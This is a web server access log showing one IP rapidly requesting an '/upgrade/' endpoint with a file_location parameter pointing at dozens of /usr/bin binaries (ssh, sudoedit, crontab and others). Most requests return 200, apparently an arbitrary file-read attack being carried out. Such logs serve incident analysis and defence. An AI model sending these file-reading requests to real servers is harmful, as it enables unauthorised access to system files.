45.135.193.11 - - [11/Sep/2026:22:51:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbtattach&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107022 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbtattach&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdig&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 154174 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdig&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Feps2eps&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96230 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Feps2eps&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffalse&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106183 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffalse&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmm2gv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110652 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmm2gv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmyisamchk&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1093893 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmyisamchk&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fs-nail&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 623229 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fs-nail&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-cat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102014 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-cat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrotty&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 148915 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrotty&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_verify&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103153 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_verify&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_write_long&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102030 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_write_long&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyum-debug-dump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97245 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyum-debug-dump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffirewall-cmd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 121057 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffirewall-cmd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgconf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 139901 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgconf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fld.gold&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 984104 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fld.gold&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsort&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 148342 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsort&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzless&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96270 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzless&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbootctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 139832 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbootctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-service-convert&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97115 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-service-convert&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprintafm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95999 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprintafm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fresizecons&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105741 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fresizecons&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-sysext&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114486 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-sysext&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdnstap-read&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102634 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdnstap-read&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flogresolve&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101785 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flogresolve&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnmtui&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 377022 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnmtui&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-db-path&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100941 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-db-path&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpcre-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96280 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpcre-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_stream_ctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103015 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_stream_ctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faria_chk&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1345872 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faria_chk&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fb2sum&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 116792 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fb2sum&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcanberra-boot&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101156 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcanberra-boot&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibpng16-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96842 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibpng16-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmmdblookup&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104099 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmmdblookup&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftclsh&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99004 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftclsh&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftouch&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 135759 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftouch&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fapropos.man-db&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114400 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fapropos.man-db&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcrontab&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 117639 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcrontab&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fglib-gettextize&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98326 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fglib-gettextize&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fncurses6-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99266 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fncurses6-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fc++filt&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95311 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fc++filt&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrops&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 170274 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrops&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgst-stats-1.0&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110380 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgst-stats-1.0&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flefty&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 238224 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flefty&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpip3.9&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95709 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpip3.9&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftwopi&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100139 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftwopi&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:28 -0400] "GET /upgrade/index.php?location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95852 "http://163.245.207.76:443/upgrade/index.php?location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdot2gxl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113124 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdot2gxl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-query&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 163423 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-query&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flook&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101853 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flook&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114132 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh-keyscan&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 234039 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh-keyscan&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fenc2xs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113724 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fenc2xs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-error-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96413 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-error-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgv2&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 249165 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgv2&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fima-setup&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97503 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fima-setup&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Finfo&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 250346 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Finfo&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsctp_test&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111181 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsctp_test&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsudoedit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95648 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsudoedit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdirname&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106781 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdirname&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fiostat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 119863 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fiostat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fln&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 122587 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fln&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:51:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 513847 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fssh&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
